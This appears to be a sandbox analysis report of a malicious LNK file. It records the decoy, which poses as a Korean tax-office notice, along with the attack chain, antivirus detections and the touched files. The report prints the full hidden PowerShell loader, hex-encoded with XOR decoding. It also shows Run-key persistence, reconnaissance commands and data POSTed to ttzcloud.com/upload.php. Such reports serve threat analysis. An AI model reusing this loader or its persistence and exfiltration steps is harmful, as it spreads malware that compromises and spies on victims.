| cmdline | powershell -windowstyle hidden $dedicte="$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D476555507154462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C546571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A57766D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', '0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte; |
| wmi | SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process |
| Data received | HTTP/1.1 100 Continue |
| Data received | HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 09:24:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 |
| Data received | HTTP/1.1 200 OK Date: Mon, 04 Sep 2023 09:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 |
| Data sent | POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: ttzcloud.com Content-Length: 62 Expect: 100-continue Connection: Keep-Alive |
| Data sent | fn=0J9iKIyOC7nShxQZ1yIcyShHPw3Il9E%3d&fd=&r=638294774364871719 |
| Data sent | fn=nbvvxsqaaP8miEilku84HPVUcMbXkF4%3d&fd=&r=638294774615233047 |
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| cmdline | nslookup myip.opendns.com resolver1.opendns.com |
| cmdline | tasklist |
| cmdline | systeminfo |
| cmdline | reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svchostno2 | reg_value | C:\Users\Public\Documents\start.vbs | ||||||
| Sangfor | Trojan.Generic-LNK.Save.e2d78363 |
| Symantec | CL.Downloader!gen20 |
| Kaspersky | HEUR:Trojan.Multi.Powesta.g |
| Emsisoft | Trojan.PowerShell.Gen (A) |
| Sophos | Mal/PowLnkObf-A |
| Gridinsoft | Susp.Obfuscted_PowerShell_Code.C.sd!yf |
| ZoneAlarm | HEUR:Trojan.Multi.Powesta.g |
| Detected | |
| VBA32 | Trojan.Link.Crafted |
| SentinelOne | Static AI - Suspicious LNK |
| parent_process | powershell.exe | martian_process | "C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe" "C:\Users\test22\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp" | ||||||
| parent_process | powershell.exe | martian_process | C:\Users\test22\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp | ||||||
| parent_process | powershell.exe | martian_process | "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs" | ||||||
| file | 3248aa398316e88b_43595826.bat |
| file | eb66305fcfa08848_05772046.bat |
| option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |
| file | C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe |
| file | C:\Users\Public\Documents\unzip.exe |
| file | C:\Windows\SysWOW64\wscript.exe |